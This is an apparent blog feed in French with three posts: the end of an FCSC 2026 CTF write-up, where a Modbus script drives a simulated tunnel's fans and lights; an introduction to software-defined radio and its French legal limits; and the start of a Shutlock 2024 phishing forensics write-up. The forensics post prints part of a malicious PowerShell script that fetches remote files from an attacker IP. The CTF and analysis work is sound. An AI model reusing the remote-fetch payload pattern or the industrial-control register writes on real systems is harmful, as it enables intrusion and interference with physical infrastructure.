</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">8</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">client</span><span class="o">.</span><span class="n">write_register</span><span class="p">(</span><span class="n">address</span><span class="o">=</span><span class="n">i</span><span class="p">,</span> <span class="n">value</span><span class="o">=</span><span class="n">value</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">turn_on_lights</span><span class="p">(</span><span class="n">client</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Set the luminance for each light of the North and South tunnel.
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">    Parameters:
</span></span></span><span class="line"><span class="cl"><span class="s2">    client (ModbusTcpClient): Instance of ModbusTcpClient for TCP communication.
</span></span></span><span class="line"><span class="cl"><span class="s2">    value (int): The luminance to set for the lights.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="mi">16</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">client</span><span class="o">.</span><span class="n">write_register</span><span class="p">(</span><span class="n">address</span><span class="o">=</span><span class="n">i</span><span class="p">,</span> <span class="n">value</span><span class="o">=</span><span class="n">value</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">client</span> <span class="o">=</span> <span class="n">ModbusTcpClient</span><span class="p">(</span><span class="s1">&#39;tunnel-routier.fcsc.fr&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">client</span><span class="o">.</span><span class="n">connect</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">token</span> <span class="o">=</span> <span class="n">get_token</span><span class="p">(</span><span class="n">client</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># The value of the fans has been tested manually until it works</span>
</span></span><span class="line"><span class="cl">    <span class="n">start_fans</span><span class="p">(</span><span class="n">client</span><span class="p">,</span> <span class="mi">1400</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># The value of the light is a simple addition (we need 300/tunnel with 4 lights)</span>
</span></span><span class="line"><span class="cl">    <span class="n">turn_on_lights</span><span class="p">(</span><span class="n">client</span><span class="p">,</span> <span class="mi">75</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">sensors</span> <span class="o">=</span> <span class="n">client</span><span class="o">.</span><span class="n">read_input_registers</span><span class="p">(</span><span class="n">address</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span><span class="n">count</span><span class="o">=</span><span class="mi">6</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">co2_north</span> <span class="o">=</span> <span class="n">sensors</span><span class="o">.</span><span class="n">registers</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="n">co2_south</span> <span class="o">=</span> <span class="n">sensors</span><span class="o">.</span><span class="n">registers</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">temp_north</span> <span class="o">=</span> <span class="n">sensors</span><span class="o">.</span><span class="n">registers</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="n">temp_south</span> <span class="o">=</span> <span class="n">sensors</span><span class="o">.</span><span class="n">registers</span><span class="p">[</span><span class="mi">5</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">co2_north</span> <span class="o">&lt;=</span> <span class="mi">800</span> <span class="ow">and</span> <span class="n">co2_south</span> <span class="o">&lt;=</span> <span class="mi">800</span> <span class="ow">and</span> <span class="n">temp_north</span> <span class="o">&lt;=</span> <span class="mi">25</span> <span class="ow">and</span> <span class="n">temp_south</span> <span class="o">&lt;=</span> <span class="mi">25</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Let&#39;s get that flag: https://tunnel-routier.fcsc.fr/</span><span class="si">{</span><span class="n">token</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span></code></pre></div><p>Ce script va allumer les ventilateurs à <strong>1400 tr/min</strong> (j&rsquo;ai trouvé la valeur &ldquo;manuellement&rdquo; en testant jusqu&rsquo;a que ça fonctionne dans le temps impartis), les spots à <strong>75 cd/m²</strong> (on a besoin de 300cd/m² par tunnel et on a 4 spots par tunnel, donc 300/4) et va lire les valeurs des capteurs jusqu&rsquo;a ce qu&rsquo;elles soient dans les normes.</p>
<p>Une fois ces valeurs atteintes, il va afficher un lien avec le token pour récupérer le flag.</p>
<hr>
<h2 id="flag">Flag</h2>
<p>On peut alors récupérer le flag via le lien donné par le script:</p>
<div>
  <img src="/posts/fcsc2026_tunnel_routier_2-2/images/second_flag.png" alt="tunnel">
  </br>
</div>
<p>On pourrait aussi récupérer automatiquement le flag via la balise <code>&lt;div id=&quot;flag&quot;&gt;&lt;/div&gt;</code> dans le code HTML du tableau de bord.</p>
<hr>
<h2 id="sources">Sources</h2>
<ul>
<li><a href="https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml">https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml</a></li>
<li><a href="https://pymodbus.readthedocs.io/en/latest/">https://pymodbus.readthedocs.io/en/latest/</a></li>
<li><a href="https://pymodbus.readthedocs.io/en/latest/source/library/pymodbus.html#pymodbus.pdu.mei_message.ReadDeviceInformationResponse">https://pymodbus.readthedocs.io/en/latest/source/library/pymodbus.html#pymodbus.pdu.mei_message.ReadDeviceInformationResponse</a></li>
<li><a href="https://www.modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf">https://www.modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf</a></li>
</ul>
]]></content></item><item><title>Introduction à la SDR 1/2</title><link>https://0xonirix.fr/posts/introduction_sdr_1-2/introduction_sdr_1-2/</link><pubDate>Fri, 06 Dec 2024 11:04:20 +0100</pubDate><guid>https://0xonirix.fr/posts/introduction_sdr_1-2/introduction_sdr_1-2/</guid><description>%!s(&lt;nil>)</description><content type="html"><![CDATA[<p><em>&ldquo;La SDR (pour Software Defined Radio) est un récepteur et éventuellement émetteur radio réalisés principalement par logiciel et dans une moindre mesure par matériel&rdquo;</em> (merci <a href="https://fr.wikipedia.org/wiki/Radio_logicielle">Wikipédia</a>).</p>
<p>Cet article est une introduction à la SDR orienté hacking, des principes de base au choix du matériel.</p>
<p>Je vais donc commencer par faire un court rappel sur ce que sont les ondes radio, la législation en vigeur, et enfin présenter les matériels et logiciels couramment utilisés.</p>
<hr>
<h2 id="les-ondes-radio">Les ondes radio</h2>
<p>Une onde radioélectrique, ou <strong>onde radio</strong>, est une onde électromagnétique inférieure à 300 GHz, cela inclut les bandes FM, AM, VHF, les Takie-Walkie, les liaisons satellite, GSM, etc.</p>
<figure align="center">
    <img alt="Bandes de fréquence radio" title="Bandes de fréquence radio" src="/posts/introduction_sdr/images/bands-radio-frequency-spectrum.jpg">
	<figcaption>Bandes de fréquence radio - <a hreaf="https://www.britannica.com">Britannica</a></figcaption>
</figure>
<p>Ces ondes sont définit par 3 caractéristiques principales:</p>
<ul>
<li>La phase</li>
<li>L&rsquo;amplitude</li>
<li>La période (1/fréquence)</li>
</ul>
<figure align="center">
    <img alt="Phase, Amplitude et Période" title="Phase, Amplitude et Période" src="/posts/introduction_sdr/images/amplitude_phase_period.svg">
	<figcaption>Phase, Amplitude et Période d'un signal - <a href="https://pysdr.org/content/frequency_domain.html">PySDR</a></figcaption>
</figure>
<p>Il est possible, avec un matériel adapté, de capter ces fréquences à moindre coût.</p>
<hr>
<h2 id="partie-juridique">Partie juridique</h2>

    <aside class="admonition warning">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-alert-circle"><circle cx="12" cy="12" r="10"></circle><line x1="12" y1="8" x2="12" y2="12"></line><line x1="12" y1="16" x2="12.01" y2="16"></line></svg></div><b>Attention !</b>
        </div>
        <div class="admonition-content">Cette partie s&rsquo;applique en France uniquement !</div>
    </aside>
<p>Comme tout est réglementé, et l&rsquo;émission d&rsquo;ondes radio n&rsquo;en étant pas excepté, il faut connaître la législation en vigueur pour ne pas faire n&rsquo;importe quoi, il faut également garder en tête qu&rsquo;elle peut changer d&rsquo;un pays à un autre, aux abord des zones sensibles (zones militaires, aéroports, etc.) en même fonction des métropoles.</p>
<h3 id="autorité">Autorité</h3>
<p>L&rsquo;autorité qui s&rsquo;occuper des ondes radio en France est l&rsquo;Agence Nationale des Fréquences Radio (ANFR).</p>
<p>Elle a cinq missions principales:</p>
<ul>
<li><strong>Planifier</strong> l&rsquo;usage des fréquences</li>
<li><strong>Gérer</strong> les fréquences sites et données</li>
<li><strong>Contrôler</strong> le spectre</li>
<li><strong>Protéger</strong> les utilisateurs et services</li>
<li><strong>Maîtriser</strong> l&rsquo;exposition du public aux ondes</li>
</ul>
<p>Bien que l&rsquo;Agence ne puisse pas directement donner d&rsquo;amendes, elle peut enquêter et intervenir en qualité d&rsquo;experte technique sur les cas d&rsquo;usage repréhensibles des ondes radio (brouillage, empiétement de fréquence, radio pirate, etc.).</p>
<p>Elle travaille conjointement avec l&rsquo;<a href="https://www.arcep.fr">ARCEP</a> et l&rsquo;<a href="https://www.arcom.fr">ARCOM</a>.</p>

    <aside class="admonition danger">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-alert-triangle"><path d="M10.29 3.86L1.82 18a2 2 0 0 0 1.71 3h16.94a2 2 0 0 0 1.71-3L13.71 3.86a2 2 0 0 0-3.42 0z"></path><line x1="12" y1="9" x2="12" y2="13"></line><line x1="12" y1="17" x2="12.01" y2="17"></line></svg></div><b>Attention !</b>
        </div>
        <div class="admonition-content">La peine encouru en cas d&rsquo;infraction peut aller jusqu&rsquo;a 6 mois de prison et 30 000€ d&rsquo;amende !</div>
    </aside>
<h3 id="réception">Réception</h3>
<p>Pour ce qui est de la réception, il n&rsquo;y a pas vraiment de restrictions, seul le déchiffrement de communications (notamment militaire ou du réseau <a href="https://fr.wikipedia.org/wiki/Terrestrial_Trunked_Radio">Tetra</a>) est interdit.</p>
<p>Cependant, même en cas de simple captation de communications (chiffrées ou non), l&rsquo;ANFR peut venir vérifier que vous ne faîtes rien d&rsquo;illégale.</p>
<h3 id="emission">Emission</h3>
<p>Concernant l&rsquo;émission, la règle générale est d&rsquo;aller vérifier, en fonction de la bande de fréquences utilisée:</p>
<ol>
<li>Si on en a le <strong>droit</strong>, en prenant en compte la localisation</li>
<li>Pendant combien de <strong>temps</strong></li>
<li>A quelle <strong>puissance</strong></li>
</ol>
<p>Car cela peut fortement varier d&rsquo;une bande de fréquences à une autre.</p>
<p>Par exemple, pour le <strong>LoRa</strong> (fréquences de 4330.5MHz à 434.79MHz et 863MHz à 868.6MHz), le taux d&rsquo;utilisation maximum est limité à <strong>1%</strong> du temps sur une heure glissante (en gros, pas plus de <strong>36s</strong> par heure) avec une puissance maximale de <strong>25mW</strong>.</p>
<p><em>Des documents très complets sont disponibles sur le site de l&rsquo;<a href="https://www.anfr.fr/planifier/le-tnrbf/lautorisation-dutilisation">ANFR</a> et de l&rsquo;<a href="https://www.arcep.fr/la-regulation/grands-dossiers-reseaux-mobiles/le-guichet-start-up-et-innovation/le-portail-bandes-libres.html">ARCEP</a>.</em></p>
<hr>
<h2 id="le-matériel">Le matériel</h2>
<p>Afin de pouvoir écouter ces ondes, il faut pouvoir les capter, et pour ça, il existe beaucoup de matériels différents avec chacun leurs spécificités.</p>
<p>Je vais d&rsquo;abord expliquer les spécificités les plus importantes avant de présenter les solutions les plus connus/utilisées.</p>

    <aside class="admonition warning">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-alert-circle"><circle cx="12" cy="12" r="10"></circle><line x1="12" y1="8" x2="12" y2="12"></line><line x1="12" y1="16" x2="12.01" y2="16"></line></svg></div><b>Attention !</b>
        </div>
        <div class="admonition-content">Il n&rsquo;existe pas de solution universelle, chaque produit à ses avantages et inconvenients, il faut le choisir en fonction des besoins du projet.</div>
    </aside>
<h3 id="spectre-radio">Spectre radio</h3>
<p>Le spectre d&rsquo;un produit est la gamme de fréquence qu&rsquo;il est capable d&rsquo;écouter.</p>
<p>Par exemple, pour du WiFi 6, c&rsquo;est aux alentours de <strong>2,4GHz</strong> et <strong>5GHz</strong>.</p>
<p>Pour du NFC, c&rsquo;est la fréquence <strong>13,56MHz</strong>.</p>
<h3 id="bande-passante">Bande passante</h3>
<p>La bande passante définit la quantité d&rsquo;information que peut transmettre un signal à un temps T, plus elle est grande mieux c&rsquo;est mais plus ça sera chère.</p>
<p>Pour avoir un ordre de grandeur, le WiFi 3 (2,4GHz) à une bande passante de <strong>20MHz</strong> et un débit max de <strong>54Mb/s</strong> tandis que le GSM (~ 900MHz) à une bande passante de <strong>200kHz</strong> et un débit max de <strong>271kb/s</strong>.</p>
<h3 id="duplex">Duplex</h3>
<p>Un duplex est un canal de communication, on parle de <strong>full-fuplex</strong> quand on peut transmettre et recevoir en même temps et de <strong>half-duplex</strong> quand ce n&rsquo;est pas le cas.</p>
<p>Un cas concret d&rsquo;utilisation du half-duplex est le MITM (WiFi, GSM, etc) car on doit faire la passerelle entre l&rsquo;AP et l&rsquo;appareil victime en temps réel.</p>
<h3 id="rxtx">RX/TX</h3>
<p>RX signifie <strong>réception</strong> et TX <strong>Transmission</strong>, il faut juste garder en tête que tous les matériels ne peuvent pas transmettre.</p>
<h3 id="matériel-connus">Matériel connus</h3>
<p>De la <strong>clé RTL-SDR</strong>, en passant par le <strong>Flipper Zero</strong>, le <strong>HackRF</strong>, le <strong>BladeRF</strong>, le <strong>Lime-SDR</strong>, le <strong>KrakenRF</strong>, etc. Il existe une pléthore de matériel SDR, il y en aura donc forcémment un qui vous conviendra !</p>
<p>Concernant quoi choisir.. tout dépend de vos besoins et de votre budget, voici une liste non exhaustive des matériels couramment utilisés:</p>
<table>
<thead>
<tr>
<th style="text-align:center"><strong>Hardware</strong></th>
<th style="text-align:center"><strong>RX/TX</strong></th>
<th style="text-align:center"><strong>Duplex</strong></th>
<th style="text-align:center"><strong>Radio spectrum</strong></th>
<th style="text-align:center"><strong>Bandwidth</strong></th>
<th style="text-align:center"><strong>Price</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">Clé RTL-SDR</td>
<td style="text-align:center">RX</td>
<td style="text-align:center">Half</td>
<td style="text-align:center">~ 24MHz - 1.766GHz</td>
<td style="text-align:center">6.7MHz - 8MHz</td>
<td style="text-align:center">~ 30€</td>
</tr>
<tr>
<td style="text-align:center">Flipper Zero</td>
<td style="text-align:center">RX/TX</td>
<td style="text-align:center">Half</td>
<td style="text-align:center">300MHz-348MHz, 387MHz-464MHz, 779MHz-928MHz</td>
<td style="text-align:center">58KHz - 812KHz</td>
<td style="text-align:center">~ 200€</td>
</tr>
<tr>
<td style="text-align:center">HackRF</td>
<td style="text-align:center">RX/TX</td>
<td style="text-align:center">Half</td>
<td style="text-align:center">30MHz - 6GHz</td>
<td style="text-align:center">20MHz</td>
<td style="text-align:center">~ 320€</td>
</tr>
<tr>
<td style="text-align:center">BladeRF</td>
<td style="text-align:center">RX/TX</td>
<td style="text-align:center">Full</td>
<td style="text-align:center">300MHz - 3.8GHz</td>
<td style="text-align:center">28MHz</td>
<td style="text-align:center">~ 780€</td>
</tr>
<tr>
<td style="text-align:center">USRP</td>
<td style="text-align:center">RX/TX</td>
<td style="text-align:center">Full</td>
<td style="text-align:center">50MHz - 6GHz</td>
<td style="text-align:center">16MHz - 61.44MHz</td>
<td style="text-align:center">~ 2k€</td>
</tr>
<tr>
<td style="text-align:center">Lime-SDR</td>
<td style="text-align:center">RX/TX</td>
<td style="text-align:center">Full</td>
<td style="text-align:center">~ 30MHz - 3.8GHz</td>
<td style="text-align:center">~ 40MHz - 120MHz</td>
<td style="text-align:center">~ 340€ - 20k€</td>
</tr>
<tr>
<td style="text-align:center">KrakenSDR</td>
<td style="text-align:center">RX/TX</td>
<td style="text-align:center">Full</td>
<td style="text-align:center">24MHz - 1766MHz</td>
<td style="text-align:center">2.56MHz</td>
<td style="text-align:center">~ 500€</td>
</tr>
</tbody>
</table>
<p>Comme on peut le voir, chaque solution à ses avantages et inconvenients.</p>
<p>Si vous débutez dans le monde de la SDR, je ne peux que vous conseiller la clé RTL-SDR car ça coute moins de 30€, ça à une plage d&rsquo;utilisation très large, une antenne est fournie avec, c&rsquo;est petit et compatible avec tout !</p>
<p>Il y en a ici aussi beaucoup, je vous conseille cependant d&rsquo;utiliser une <strong>Clé USB RTL2832 avec tuner R860</strong> (disponible sur <a href="https://www.passion-radio.fr/recepteurs-sdr/rtl-sdr-r820t2-248.html">Passion radio</a> et <a href="https://www.amazon.fr/R%C3%A9cepteur-ventouse-adaptateur-femelle-r%C3%A9cepteur/dp/B094ZJ3VVN/ref=sr_1_4?__mk_fr_FR=%C3%85M%C3%85%C5%BD%C3%95%C3%91&amp;crid=J5HBVVQTMDV6&amp;keywords=Cl%C3%A9+USB+RTL2832&amp;qid=1687622893&amp;sprefix=cl%C3%A9+usb+rtl2832%2Caps%2C223&amp;sr=8-4">Amazon</a>), elle à un spectre assez large, de 24MHz à 1,766GHz, et posséde le chipset <strong>Realtek RTL2832U</strong> ainsi que le tuner <strong>Rafael Micro R860</strong> qui sont faits pour la SDR.</p>
<hr>
<h2 id="les-outils-logiciels">Les outils logiciels</h2>
<p>Voici grossiérement la liste des logiciels les plus utilisés:</p>
<ul>
<li><a href="https://github.com/gnuradio/gnuradio">GNURadio</a></li>
<li><a href="https://github.com/jopohl/urh">Universal Radio Hacker (URH)</a></li>
<li><a href="https://github.com/miek/inspectrum">Inspectrum</a></li>
<li><a href="https://github.com/gqrx-sdr/gqrx">GQRX</a> (ou <a href="https://airspy.com/">Airspy</a> pour Windows)</li>
<li><a href="https://github.com/antirez/dump1090">Dump1090</a></li>
</ul>
<p>Ils sont open-source (excepté Airspy) et disponibles sur Linux et Windows.</p>
<p><strong>GQRX</strong> (ou <strong>Airpsy</strong>) permettent d&rsquo;analyser un spectre, de le démoduler selon certaines modulations et de l&rsquo;écouter/enregistrer.</p>
<p><strong>Inspectrum</strong> est un outils d&rsquo;analyse de signaux déjà capturés.</p>
<p><strong>Universal Radio Hacker (URH)</strong> est une suite complète pour les protocoles sans fils.</p>
<p><strong>Dump1090</strong> est spécifique à la récupération des trames des balises d&rsquo;avions (<strong>ADS-B</strong>), il permet de visualiser les informations qu&rsquo;elles contiennent et afficher les appareils sur une carte.</p>
<p>Enfin, <strong>GnuRadio</strong> est LE logiciel de SDR, il permet de tout faire mais il est très bas niveau.</p>
<hr>
<h2 id="conclusion">Conclusion</h2>
<p>Voila qui clos cette introduction à la SDR, vous savez maintenant à peu près de quoi il s&rsquo;agit, la réglementation en vigeur, le matériel nécessaire ainsi que les logiciels couramment utilisés.</p>
<p>Dans un prochain chapitre, nous allons voir comment utiliser ces logiciels ainsi que quelques exemples concrets.</p>
<hr>
<h2 id="sources">Sources</h2>
<p><a href="https://fr.wikipedia.org/wiki/Onde_radio">https://fr.wikipedia.org/wiki/Onde_radio</a></p>
<p><a href="https://anfr.fr">https://anfr.fr</a></p>
<p><a href="https://www.radioamateurs-france.fr/wp-content/uploads/2015/07/A-ANFR-presentation.pdf">https://www.radioamateurs-france.fr/wp-content/uploads/2015/07/A-ANFR-presentation.pdf</a></p>
<p><a href="https://arcep.fr">https://arcep.fr</a></p>
<p><a href="https://arcom.fr">https://arcom.fr</a></p>
<p><a href="https://resources.altium.com/fr/p/whats-difference-between-data-rate-and-bandwidth">https://resources.altium.com/fr/p/whats-difference-between-data-rate-and-bandwidth</a></p>
<p><a href="https://pysdr.org/">https://pysdr.org/</a></p>
<p><a href="https://fr.wikipedia.org/wiki/D%C3%A9bits_et_port%C3%A9es">https://fr.wikipedia.org/wiki/D%C3%A9bits_et_port%C3%A9es</a></p>
<p><a href="https://fr.wikipedia.org/wiki/IEEE_802.11n">https://fr.wikipedia.org/wiki/IEEE_802.11n</a></p>
<p><a href="https://fr.wikipedia.org/wiki/Global_System_for_Mobile_Communications">https://fr.wikipedia.org/wiki/Global_System_for_Mobile_Communications</a></p>
<p><a href="https://fr.wikipedia.org/wiki/Terrestrial_Trunked_Radio">https://fr.wikipedia.org/wiki/Terrestrial_Trunked_Radio</a></p>
<p><a href="http://www.taylorkillian.com/2013/08/sdr-showdown-hackrf-vs-bladerf-vs-usrp.html">http://www.taylorkillian.com/2013/08/sdr-showdown-hackrf-vs-bladerf-vs-usrp.html</a></p>
<p><a href="https://docs.flipper.net/">https://docs.flipper.net/</a></p>
<p><a href="https://limemicro.com/">https://limemicro.com/</a></p>
<p><a href="https://www.krakenrf.com/">https://www.krakenrf.com/</a></p>
<p><a href="https://github.com/krakenrf/krakensdr_docs/wiki#technical-specifications">https://github.com/krakenrf/krakensdr_docs/wiki#technical-specifications</a></p>
<p><a href="https://www.passion-radio.org/blog/sdr-sharp-dongle-rtl2832-r820t-e4000/76466">https://www.passion-radio.org/blog/sdr-sharp-dongle-rtl2832-r820t-e4000/76466</a></p>
<p><a href="https://homepages.uni-regensburg.de/~erc24492/SDR/Data_rtl2832u.pdf">https://homepages.uni-regensburg.de/~erc24492/SDR/Data_rtl2832u.pdf</a></p>
<p><a href="https://github.com/gnuradio/gnuradio">https://github.com/gnuradio/gnuradio</a></p>
<p><a href="https://github.com/gqrx-sdr/gqrx">https://github.com/gqrx-sdr/gqrx</a></p>
<p><a href="https://airspy.com/">https://airspy.com/</a></p>
<p><a href="https://github.com/antirez/dump1090">https://github.com/antirez/dump1090</a></p>
]]></content></item><item><title>Shutlock 2024 - Enquête sur le phishing des JO : Retracer l'attaque 2/2</title><link>https://0xonirix.fr/posts/shutlock2024_phishing_2-2/shutlock2024_phishing_2-2/</link><pubDate>Fri, 12 Jul 2024 09:16:24 +0200</pubDate><guid>https://0xonirix.fr/posts/shutlock2024_phishing_2-2/shutlock2024_phishing_2-2/</guid><description>%!s(&lt;nil>)</description><content type="html"><![CDATA[<div>
  <img src="/posts/shutlock2024_phishing_2-2/images/shutlock.png" alt="Logo_Shutlock">
</div>
<p>Ceci est le write-up de la deuxième partie du challenge Forensic <strong>Enquête sur le phishing des JO</strong> du CTF <a href="https://shutlock.fr/">Shutlock</a> édition 2024 organisé par la DGSI et EPITA.</p>
<h2 id="énoncé">Énoncé</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">Bravo !
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Vous voici dans la deuxième partie de votre enquête. Le dump réseau vous a été confié avec une partie de son système de fichiers.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">L&#39;utilisatrice à qui appartiennent ces informations, est une scientifique qui travaille sur le chiffrement du système d&#39;information des JO.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Aidez-la à déchiffrer son système de fichiers.
</span></span></code></pre></div><p>Dans cette deuxième partie, on nous donne un fichier de capture réseau <strong>Capture.pcapng</strong> ainsi qu&rsquo;un dossier <strong>FileSystem</strong> qui correspond à une partie du système de fichier de l&rsquo;utilisatrice.</p>
<p>Cette fois, nous ne sommes pas aussi guidé, on sait juste que le système a été chiffré et que l&rsquo;ont doit le déchiffrer.</p>
<hr>
<h2 id="investigation">Investigation</h2>
<h3 id="système-de-fichier">Système de fichier</h3>
<p>La première chose que j&rsquo;ai fait a été de parcourir le dossier <strong>FileSystem</strong> afin d&rsquo;essayer de trouver une piste.</p>
<p>En me rendant dans les dossier personnels de l&rsquo;utilisatrice (<strong>Desktop</strong>, <strong>Documents</strong> et <strong>Downloads</strong>), je me suis rendu compte que des objets portent l&rsquo;extension <code>.shutlock</code>, notamment un objet <strong>importante_recherche.shutlock</strong>. Les ouvrir ne sert à rien car il n&rsquo;y a rien de lisible, on a surement trouvé les fichiers chiffrés.</p>
<p>On peut également remarquer un fichier nommé <strong>iv</strong> dans le dossier <strong>Documents</strong>, il n&rsquo;a rien à faire la et on peut supposer qu&rsquo;il à servit au chiffrement des données, on le met donc de côté.</p>
<p>On à également un dossier <strong>AppData</strong> mais rien n&rsquo;a l&rsquo;air intéressant de prime abord, on y reviendra suremment plus tard.</p>
<p>Après avoir fait le tour du dossier, on peut aller voir du côté de la capture réseau.</p>
<h3 id="capture-réseau">Capture réseau</h3>
<p>Afin d&rsquo;analyser cette capture, on ouvre le fichier avec <a href="https://www.wireshark.org/">Wireshark</a> (ou <a href="https://www.wireshark.org/docs/man-pages/tshark.html">Tshark</a> pour la version CLI), on se rend alors compte que le fichier est très gros et que chercher &ldquo;a la main&rdquo; n&rsquo;est pas la solution la plus efficace.</p>
<p>Afin de dégrossire tout ça, on va chercher à identifier l&rsquo;adresse du PC en listant les adresses privées, pour ça il faut se rendre dans <code>Statistiques &gt; Points de terminaison &gt; IPV4</code>.</p>
<p>On trouve alors deux adresses IP privées, la <strong>192.168.1.1</strong> et la <strong>10.0.2.15</strong>.</p>
<p>On peut revenir sur la capture et filtrer les résultats pour avoir l&rsquo;une ou l&rsquo;autre des adresses: <code>ip.addr==192.168.1.1 || ip.addr==10.0.2.15</code>.</p>
<p>Bien que cela ait un peu réduit le nombre d&rsquo;entrées, il rest encore beaucoup d&rsquo;entrées, on remarque également qu&rsquo;il y a beaucoup de requêtes TCP, on peut alors aller regarder les protocoles présents en se rendant dans <code>Statistiques &gt; Hiérarchie des Protocoles</code>.</p>
<p>Le tableau qui s&rsquo;affiche nous apprend qu&rsquo;il y a du, TLS, du DNS mais surtout des transferts de fichiers en HTTP (JPEG, du texte, etc.). ça ressemble à une piste.</p>
<p>Afin de voir les fichiers échangés en HTTP, il faut se rendre dans <code>Fichier &gt; Exporter Objets &gt; HTTP...</code> et regrouper les adresses IPs d&rsquo;un côté et les noms d&rsquo;hôtes de l&rsquo;autre en cliquant sur &ldquo;Organiser par nom d&rsquo;hôte&rdquo; en haut.</p>
<p>On peut voir que plusieurs fichiers ont été échangés avec l&rsquo;IP <strong>172.21.195.17</strong>, soit:</p>
<ul>
<li><strong>Enigma.ps1</strong></li>
<li><strong>Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf</strong></li>
<li><strong>Encrypt.ps1</strong></li>
<li><strong>key.txt</strong></li>
<li><strong>wallpaper.jpg</strong></li>
</ul>
<p>Les plus intéressants sont <strong>Enigma.ps1</strong>, <strong>Encrypt.ps1</strong> et <strong>key.txt</strong>, on les téléchargent.</p>
<h3 id="analyse-des-scripts">Analyse des scripts</h3>
<p>Ces scripts powershell sont très certainement ceux qui ont été utilisés pour chiffrer le PC, on va donc essayer de comprendre ce qu&rsquo;ils font.</p>
<h4 id="enigmaps1">Enigma.ps1</h4>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ps1" data-lang="ps1"><span class="line"><span class="cl"><span class="nv">$IP_addr</span> <span class="p">=</span> <span class="s1">&#39;172.21.195.17:5000&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$urlFakeJob</span> <span class="p">=</span> <span class="s2">&#34;http://</span><span class="nv">$IP_addr</span><span class="s2">/Holmes/Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$urlTask</span> <span class="p">=</span> <span class="s2">&#34;http://</span><span class="nv">$IP_addr</span><span class="s2">/Holmes/GetFileInfo.ps1&#34;</span>
